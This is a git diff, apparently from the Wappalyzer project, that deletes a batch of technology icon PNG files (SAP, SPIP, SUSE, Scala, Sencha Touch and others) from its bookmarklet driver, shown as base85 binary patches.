zfD_0A7%L1_EGVdeH&9Iy5Yv2QW+rzTgU@ODdEmN8^fhQQ8U$nhI2aOrQpmDFhKls}3aoO(N8$OMZ4Li|xspa5wp)Byro5i}8z;fh1d0$c?I zC<$0+7$%zsaGidCv_9~-N`>uPCRx6;iqSwA4A64nlR7)K6RbfgC;seuu?y(~ z0S~BxCn^T&D-4O{gRV-=CM3pDla#GA7dl5!pp?LfOBVw4kbDSGlwe@no;nq4D1AUs z>dk_}d(cs3=N^0wQ<-6mj(qNUH3g)Nsb)B0PE~Y?Y;1jZK}m*j)_h zQeu*14}eQb`?r=UTN!p_K%f-Zm3LT%r3gxYkby*a-1oTil)$J-`9M0vk|aZn*$YmL zC9y6BFniCHuEyspAK`)dt?Vv3G+c-ifLSAQeMMN`4&Z?~^(1*8)S)f|0vd(J0M<}T z9K$Z9A)dB$$*@#$3le3>uy>L*YpJA$Wz`YBwtOv5&2D9L^Q~qK0Auz1;@xA_HK{SD z6+kY~Hp)IeB>)!160k-nt-)Cb&H&KYf*hq(r3^|ab%2lu)plx4%OK6FO&S%K)JM`v zedWlq`u=ec~yM|_PY26!Jm*DGG zbuOrxGnjcps8_@`N_=w&(@JVdJ0z{no|ftHF7;M1%-(Nc>CMLFN)29Cc z0cVVj4;(mfhJoSC%$Z9W6#v&WoIZWJp`k%WM&`$lALZrcKz)VW2Csosh^LEVNJU)h zxtm-K20W}6U&fXH|DWAET_m1M?vsg%fZDaRBHy&bPt-iMrl_g*Zrbr8P0^vAd4u)? z=_Aao=Pb?iSeu)Ao7Ar8mvC^^Jz8{UvVEPc^H~;_2J3&nfaWuJy85}Sb4q9e09Wu# ATmS$7 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/SAP.png b/Wappalyzer/drivers/bookmarklet/images/icons/SAP.png deleted file mode 100644 index 4c213e796bb6a7b937dc000ec95dc484e1e97509..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 348 zcmV-i0i*tjP)+5(eEgrj^7{W>H{SmL`29Cn48#V3=AHNcKl$+E|MB}D z{wp>fJ+Ib!TmbG3>$b!H*PMF#|KqpcaGS3_`}`jrfaKe@-a0Q=xlaHk9M+w9^8ebC zPye61{q`Rhh@E)izk2Sr^D6n<1uz1#X8yVV8;(8%<7u02fU$1c#{ce>yWxD_y1nOh ulh+$yjS0P^b^i(A^LmME14dIkZU6wIvIxE^iFkbg0000XND#0iXpj{0`>kS1X}`KIzjDiFX=vjAM%$wrxm7oUPMo(PpX; zVR$$48QGT4@P_!;^Bx4|zIQ{^eG(#0BQT=|m9cLY#OVVgDgJePwO8y#24&xs@u<5K zlFVbs#GH@_^a6%}9ovdDal(iFR{7h-TR9TkR3XWcK-WTa3@i5l(FAc9B!ZgYAh3?2 zARw4hEcL3pDLXsYY$om$o-T<^^4TMMa67SkM5t}_dkfa}V;*?gF31XhJ z{nT(R&~MgZH9g4Q3y|Vp0pn-{%Dh4o2*T7JyX@<}PM9Yh>SB6XnSiiE$0_sjf_7OG zQNwlkn(dGlEZB#3z)?#0wV=3KF2caTH6|9*Y}qf)q{(>fg?00000 LNkvXXu0mjf7!fD| diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/SIMsite.png b/Wappalyzer/drivers/bookmarklet/images/icons/SIMsite.png deleted file mode 100644 index b12d1f24263c89f43848db9ac720c6b6e6b08210..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1789 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 D^i^zg diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/SOBI 2.png b/Wappalyzer/drivers/bookmarklet/images/icons/SOBI 2.png deleted file mode 100644 index 75ff050af90a8b21bb4c7a10b7fcb23bcf298dc6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 149 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!63?wyl`GbKJXMj(LD~PM1QBY8DJ>jh=ki%FK zt6`vu(x|zUeTErBX&t9lP^eSNuim^Gn9`4O=0kK^>bP0l+XkKBFig7 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/SPDY.png b/Wappalyzer/drivers/bookmarklet/images/icons/SPDY.png deleted file mode 100644 index 8c52d1f1eb958502e957fdce54fe57c599842aa2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 677 zcmV;W0$TlvP)cSp~=W*_fN`vVi*|j%*+ADV71!RyAsTTqca-J`imX644ZQk#Nf@5Yo9GE^ zyOm{o0}Q|N>W?sdnc%&JRh*dATRBa+H^3R5o;G&C`=|6)&ywy9 za6jNrlcP|s;pCJd<0S3Q0B7G%OUD^Z0>He z3Jlzl3g0r2cgp_W_q0`fB*WdWz`6S|^o?tKW?-09CKcN(W)A)Xs0LvRO}D@500000 LNkvXXu0mjfm$pmj diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/SPIP.png b/Wappalyzer/drivers/bookmarklet/images/icons/SPIP.png deleted file mode 100644 index 6054c483d1a2111ea65786b3198ac71c4b0bc5fb..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1616 zcmV-W2Cw;vP)T zpZ=PfnjAi_UcH)p^5n_=M~)o%?eO8loz8!m^u~=F&gILO-SP49-qF#~l8K3luXI&( zb#=u&c<{iCkB^&Y2GG&b;k354`uh6%yafdXAq90$O-*@})LFT5W&YUM*fxFN*W25h z={SxV92_(rkH_el0mPC3ghC;=KAeVz2IubGyBn2sy8^$ucJ116CCi?kp3aMojy5DD z+0C0bZQ}Iwbd#BxX%Z6?jrN(5k&&kZ(9+W4KYjXiih{lr6BFaTbLY-#m&^5~WcBIZ ztY5$0ka%`>)@aQpkuo-MYHF%kv0{ahA|?U;rK^{oCI{P63XqC_4){m65I&7FN0^Fw{j@#{y zo}8Ra44WyWXAX7Lej}ik88t>u0W_O8Z#L=%TVK}rgQ--rz+lV!!~+l@xIA*?@7lOQ zAjb7hk`{{z082hGjV=cRk(ips#l=w`TYDVMUY_%;sHn&^HZ~f8wL5fcz3 zhk$#}o;??ZuC=|ry-sy(QlOv^|DYGoXmg8RYJjW~6(A$^R|iX%hTC&X}A#&cnecRTKdLv5AWKS0>>ku%41` z=GuXS>ycM&ZA-?5Quu^FOpCGE19;aW2H`|uVc}1DX|Ix3s{UoVe_2vi%jxBk`Ax}w zNaujWeyTjMN{#1_7<&!xLq=Ra`C%mL2E;3r0#CS>>FA#n%U{o*KR=7HC=u*QiYg2_W(QpZ7={%f0kT{GFx~-8P#@!# zgp6l;{?@Hq3qy@kz?y>!FW?i;asd#tdDS?C(_v5Wwzf9w2^7JMFvlx=s$<3kwqw~8 z(2!wRxgzaG|KogE)Aw{pSy{QETg3i?M)q#C?Cxb#KxWGlYy10xGlFw~6O=Oo#<{C= zW&-ii16k?m7n71wzt*-h>|GWGTrTGgjpJx)i@OsrD;>RjQsodYs-Wp2p;Vw2+*?t{U}S0sNF1BT(Ex`!$&D~Bp7Do#m-&*BpTuXE5nD$bHUFyRfM zK{Cb%1@pXag@b`|+Ra{A#x^G*D8R zYC7@y`2nj(-#vZ&vZM|e8J!A_P5d%5J<}7MoE#b)8aklm#&B;x)!*Mo46A{O5iX4Y O00006o#Mg-a9kuOd_EvN}7QQAt54I7L*YIA*~FsBq9i;2yo@HO}l~+a2XL~K}8t3 zvr3`@5+jKsfvl#ovH8`RxifSBPMe&uF*hAJoZa)D?|si_0K~GEEX4Epbj4<+ltzW2 zn0PeB#M4)dogV^F2Ef(VQ6iQ?R|*9P6eoa)P*oM=!M&R-%|1h`uIA$SEdUIF@2fVQ zO*L4qw^3Ta9|$l%Kg-ga8QOR6BA(8YNM}j_aXd++@;Kf`fUXmN$MKvX|1ng z;ZvCIj`k8DZ@a9THjc;!KpW_Ku6ms z@Z>Lmaz){Ips8Z^;G$`j_;j6uWzpT%%I(qN%h_Dv%K9yhqTP;%QfmMK0KcESe=9?W zdl=~J9RbG5V>SS6SHKgzH4pww&#|d(Xl9_V_c3t&Uw^~^XbkyPB%a4J%3KtOEukR5 z9oG|cQ^3Q)cBU6s&{R#~ N002ovPDHLkV1keoB{Bd2 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/SUSE.png b/Wappalyzer/drivers/bookmarklet/images/icons/SUSE.png deleted file mode 100644 index e41a05bedf086a2a2e7b5c36bf01ae84fe4ca432..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 398 zcmV;90df9`P)=XyE6bDneF7ykWg9;e0;g>R+WCKziO#o0PSZB+p80w2y9a_!SZ14-Tt z>D)EPt$m7wfR=#1BVHnDijw}z72fBybBm&HnRj=Lyt=CZ4Cg3VY4D7P$S$@}ntIPH zHs1<2vRO62zeH2l0e4b(hjUkg2H7*s$Flk<1to;{cnYo)?^xv65u;94H7`rRP>y@W zffMrnBz7gLs$xlY%|%vz0IF23o(z}rtk`|Xqc4F=Ez6F&(Qq|bOTgFkx496+8>cb2 zMp6lqs`qE{$eL-5R_l{@bs(6!&_+t|tjWS}00Uxxq(G8qDYU`0>0(&{%0ZzNSN>Ht s-SY%0E|O76-v0EM)Lw6f$-h3vPdS$N&k@ZoLI3~&07*qoM6N<$g8bsMN&o-= diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/SWFObject.png b/Wappalyzer/drivers/bookmarklet/images/icons/SWFObject.png deleted file mode 100644 index 08637dbc0b34ecdba4029ffce90f409266639019..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 745 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 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Scala.png b/Wappalyzer/drivers/bookmarklet/images/icons/Scala.png deleted file mode 100644 index b38a701439e19cfcc4b1f76909fe986d52de76bd..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1012 zcmVA$V`<-*~_m#%c@WhvB+ zU_r%QX}h$gR4SF)#-_!jxlCp|!4lPz1t8W>$Pb7!NSb7_5z^Gmn6 z@L+{n%ISr~1e|{200#s}j&M>r?ncWqHeAN#w)}RjR4ythf1p zfTIX>9HPTU4lB7>&0#qj_qz!XVoE*l+n=U{l8mDD#VDA88y(N-I=DxyZ^fJ=862-x zI67CO9V1u&zB#-JmwQ~h+tbl=J<`Rlu@a4z2ReO47#tQT%KD0eoCF9Cl7RjF{+75|YnHAAoPT`)`FLdms2{Gy(2);3u4q!QV1*9QYbw zO9CA3gMaVvfya0lv>oToyw^Pg{0eM5(z`%|=>vf_u&KU4D?-EEZy{aJ;TrB&-MErL z?}-MkTC#}GXRn`0FpKUlQsa8Hvp720F*cYlsW*FI{=kD0F^xemOB8J zJOGwG0G2-hmpuTNJ^+_L0GB}km^=WOKmeFQ0GL7mnLq%UK>(RT0GUGonM44YMgW>Z z0GdMpnneJcHvpSN0GmbtoI?PdMF5;g0G&brok;+mLja#e0H8nsphf_qNC2cp0HsU; zn@9niNdcWo0iH_%sZRl_Py(e)0;x~~oJ#|!Pz0Pz1fEO;r%(l&Mg^Qo2B%I2t5XM^ zP6w$_2dYyCtWyZ5Pzjt%3aL^Holgs%Pz$V93$0iTpHUB~QxUFP5};EOuUrv0xsuVjs3-A*Np-w{||jc|WvtL$r8Cvw23id`Pr=NxXebw|z~ud``B2P`80ly@OG>fl|AH zQ@Vp!x`tS|g;~CZTD^!`y@^}Ch+MvkUcHK5zl&qPjAX!&WxtSR!H{OglxM+@XTp+a z(3xnzl4-z`YQvRk#+PfrlWW72ZNZgo!&!2h6 zn|jHheafMI%c6hEqJPe%fXk$S&7p$LrH0L@h|Q>q&Z>*etBcR8jm@o%&#jWruanQN zlhLu1)U%b*v6j)Ym({hJ)V7<_wxQy{q}RQq*uACMyQkQ`r`^A)*}$sY!mi%MvfanC z+{m@w$++Cgz~<7$GSXH^YHcd z_VxGn_V@Sq_xJbr`1tqu`1ttw`1$$y`TF?z`uO_$`TP6&{QUX*{QCR+`uzR*{Qdg; z{rdg>`u+a?{{Q*?|N8y^`u_j>{{Q>`|NQ^|{r~^||NsC0Fs=)P00001bW%=J06^y0 zW&i*JZ%IT!RCwC8k!4sEK^TBn%)ndRRlz%5P+4zr84(1(12eF@yF0Pa!^AGsv%4`c z&%!QD?CutXQ}I-6* z1OQ0nLZ@fey9W3hv2=iZ$2j|O<&EG3D!m}1ALxU~so>5Kbeu_S@mud{>V>t*n{64n zbYry2)`>g>%t-e;>k5Ej+r>TpDHD`qG#E#w2M+Hx<(ZQDDgl$2Hmwi{{WX20PChR@ zzu@?HX)m#r6j}M!*&D?6T5#*a)q_C@gys)5|Ng|H6>DZyR8RV9f!d#C0hlccnf~!n zD$TKq5YPIe=js40YL&L)mfY9W@XA;QU7*yo8 zf;XWsWpd`urBee#ggqJiBzuJ3yUSNak`xl$yc8dQWjBw2iIK^GPxl*&L9G_fwOHm@ zaqvY^N9|<*6}YSg(nWWKbS~MlXDO*Y(e~#1^ENz)HSal|u!JdBC2GFKGH*Nf>xPAg zkLW1?aA7tZ_BLCXr`{~flB7McTVamlTxpih8m-;%<8F0Pw;$h|NP->$K(WOq4<9)G z|Pb zYHe@?gG&K@NRc%@+?nmco3IaEMmd=3kN8z*;#5u@U2QJTBK+@s{k23A8jB_a?S`RQ zg9s|9L?MkTC#}GXRn`0FpKUlQsa8Hvp720F*cYlsW*FI{=kD0F^xemOB8J zJOGwG0G2-hmpuTNJ^+_L0GB}km^=WOKmeFQ0GL7mnLq%UK>(RT0GUGonM44YMgW>Z z0GdMpnneJcHvpSN0GmbtoI?PdMF5;g0G&brok;+mLja#e0H8nsphf_qNC2cp0HsU; zn@9niNdcWo0iH_%sZRl_Py(e)0;x~~oJ#|!Pz0Pz1fEO;r%(l&Mg^Qo2B%I2t5XM^ zP6w$_2dYyCtWyZ5Pzjt%3aL^Holgs%Pz$V93$0iTpHUB~QxUFP5};EOuUrv0xsuVjs3-A*Np-w{||jc|WvtL$r8Cvw23id`Pr=NxXebw|z~ud``B2P`80ly@OG>fl|AH zQ@Vp!x`tS|g;~CZTD^!`y@^}Ch+MvkUcHK5zl&qPjAX!&WxtSR!H{OglxM+@XTp+a z(3xnzl4-z`YQvRk#+PfrlWW72ZNZgo!&!2h6 zn|jHheafMI%c6hEqJPe%fXk$S&7p$LrH0L@h|Q>q&Z>*etBcR8jm@o%&#jWruanQN zlhLu1)U%b*v6j)Ym({hJ)V7<_wxQy{q}RQq*uACMyQkQ`r`^A)*}$sY!mi%MvfanC z+{m@w$++Cgz~<7$GSXH^YHcd z_VxGn_V@Sq_xJbr`1tqu`1ttw`1$$y`TF?z`uO_$`TP6&{QUX*{QCR+`uzR*{Qdg; z{rdg>`u+a?{{Q*?|N8y^`u_j>{{Q>`|NQ^|{r~^||NsC0Fs=)P00001bW%=J06^y0 zW&i*JZ%IT!RCwC8k!4sEK^TBn%)ndRRlz%5P+4zr84(1(12eF@yF0Pa!^AGsv%4`c z&%!QD?CutXQ}I-6* z1OQ0nLZ@fey9W3hv2=iZ$2j|O<&EG3D!m}1ALxU~so>5Kbeu_S@mud{>V>t*n{64n zbYry2)`>g>%t-e;>k5Ej+r>TpDHD`qG#E#w2M+Hx<(ZQDDgl$2Hmwi{{WX20PChR@ zzu@?HX)m#r6j}M!*&D?6T5#*a)q_C@gys)5|Ng|H6>DZyR8RV9f!d#C0hlccnf~!n zD$TKq5YPIe=js40YL&L)mfY9W@XA;QU7*yo8 zf;XWsWpd`urBee#ggqJiBzuJ3yUSNak`xl$yc8dQWjBw2iIK^GPxl*&L9G_fwOHm@ zaqvY^N9|<*6}YSg(nWWKbS~MlXDO*Y(e~#1^ENz)HSal|u!JdBC2GFKGH*Nf>xPAg zkLW1?aA7tZ_BLCXr`{~flB7McTVamlTxpih8m-;%<8F0Pw;$h|NP->$K(WOq4<9)G z|Pb zYHe@?gG&K@NRc%@+?nmco3IaEMmd=3kN8z*;#5u@U2QJTBK+@s{k23A8jB_a?S`RQ zg9s|9L?B>Ar`0CP7dTdpupk0b8`8s zxmCBe_xmO<3lw*I&2}i?Xn3rr!IvRc_XuX6~Q;U+YN>C(&t)hza_ZVO&gTQ=WtugA+!zxri9F(2E% V*>;>VdkeIk!PC{xWt~$(6959mL<;}_ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Sencha Touch.png b/Wappalyzer/drivers/bookmarklet/images/icons/Sencha Touch.png deleted file mode 100644 index 181921d928386deb75130f4f93aa1df516de3f5e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 480 zcmV<60U!Q}P)6I*=Ohx#sVuM{7?_Yyy0L(oZ;)@mb%L#kFL2@$KsO|Yjz~-_%&AzqA|%8} zg%AVEHOckj`)iwlJJf_w!Xv%1m*3;}wQRu}C!g<+frr38Fy|ixYvCgx0(Q3vuL#476kr2!a5t5*Xn*D_3)3{Zbyh4sU*&5ewOi2pl^-L0=1~G-;wqzUs>b z9gkk#4Nd8vED8?N+=Yp8B*ro`b~{1GUVJA^ayywW-Ed|sWp0mw(bfWhoyWKLOz9@Y zvVq!-fa8sy>2J(48@kFu>Gm&%yAEVq0ifG802Cm&ckKq(`%g*oH@yFG(&j8s0@Y7+ Wxwz`IFKaUZ0000fz diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Sentinel License Monitor.png b/Wappalyzer/drivers/bookmarklet/images/icons/Sentinel License Monitor.png deleted file mode 100755 index 9fa007fc2b343234679a6413b63c7ca14e030bf7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 85 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!61SBU+%rFB|GM+AuAr-fhf7ncHRypF}&insk iQy}kQ_rnW3YZz|clyR0ga99?oj=|H_&t;ucLK6T_=@>fz diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Sentinel Protection Server.png b/Wappalyzer/drivers/bookmarklet/images/icons/Sentinel Protection Server.png deleted file mode 100755 index 9fa007fc2b343234679a6413b63c7ca14e030bf7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 85 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!61SBU+%rFB|GM+AuAr-fhf7ncHRypF}&insk iQy}kQ_rnW3YZz|clyR0ga99?oj=|H_&t;ucLK6T_=@>fz diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Seoshop.png b/Wappalyzer/drivers/bookmarklet/images/icons/Seoshop.png deleted file mode 100644 index b201673b7250380442582ae099f18b7749d92ce0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 772 zcmV+f1N;1mP)ZbZ6CF zD-6KXr|L-lKFUN>VyJ5xV(Aq-gn+P_nl#E+eSK_h9pU-*X#Fn zU4P*0Il(Xtb`NJQisECA zIParUsk~NIHU7VwcMqzG0(e7lkizx=?)ZGZ0a=#e(RYRiMmd*}w?{0}8yg$<06cU7 z6h-L}1OY6|I(={tIK!b%%-prJ?^5PCR|)}kG$asW&MBq_VsvyAkx0b7v0N@=VPOH; zY!;fPxreLOs;4H`0I)5qSa$#@eijO7PbOV3lj!&L_hU~Y0Y_dwpU3R%tk?Ns13)v3 zVp|{pLEy3S=_5YR&7rxq6?VM_b!!W(Ai~d*4AQ?Z6vVb=BUdW904`W*X{m7bzcrN&w+KW} zK_^&N;$cbxh!z-ufe{cOw1l9QenFpTKk+zT@v z2E$T`=*Mn8F_Rv^vmm!v&K7WJ@)6dSz5rd_NUvpatsJH8AVTP}qMD_PdBwsvV)u1Q=>?UXdU*DVH24 zGE-AiPst$TJkK+*O`sE7^A}*6q#gTe6-ZY`AP$efR#oEdBbS5|CUb#4 z7|-XB{NOXo;9ZOE_}@v^mRC@l{{V)Z=>2ST@x{Np6hMWe%pgzz0000%k6jad@dKnd+ zdQm`l>KufG7xhw#3RYw(C8dH9s1;yVWCEqMY3rK0%{aUB`ewiH>*T3ZKg1Y={~^Gd zXiQsNT98#)jl~d$d|n?Vw)W>kT>BvaI6RrmRZ>zMK(ZoZ+X~M8oC&_y-31{-JA&iY|p!_Oa9d>E}k14AQ6&R%M{xA)x1oCGTZ%Mq|lkVHt4=A%M;XYg** zbZT3lR>156S< zU|GZVUrU5Le>L3aSHg8>1zfqyg}$6+jPsbm;P*e)VEH;~uq>GyC{6+aU>pDl00aQ% z;U$dY&|*qkK*c(q05C-W90wQij(zdkr17&dg&wR}4<7+=WXALMJ#my407fAI_T6!e z7648$AUzKDT`|$qwFSd~-n1CA7DH%K0pLep(B`0hNu>X3VyZiD73(X2Cjh}yH+M7zOM4$T z1UTPnXO(P?`|JwJbtb_`0Gm)kj*TF@!mmX)HflG>k@V}e4|w%(qmIbj^I=Qg~2f1n1zh%K}fSK!1jvM z*jn|N-CXxY-IjO*K37fwaBU{GU(sXBWj!`nHg+bJ97$0D7(0aB)e*h{@&mCpF8~Q< z9jz3=di4M*OMM3{yQIUmLVsEbfc6G-u*v{27yUbx04VY;5aa;SItSHdiU7*~vkAcD z4d}O0C@b|1kWr!_fl)+lBrgYu4HVqIRqWnVAQZdsAOlNf}MdfR*z3l1A*26 zpiM{nX|)KzL;!*}KzbGo$u#E|5kxi2)f4#=Xzn!esp;wr*Z_ZjObRtE#Ek?03-!n4 z43Onm903Y;`dW@~1UNcCaZU@v8QT1TIDkO9h?vFzNpRG&oVz#j|Bbg#|9|}P?f?59 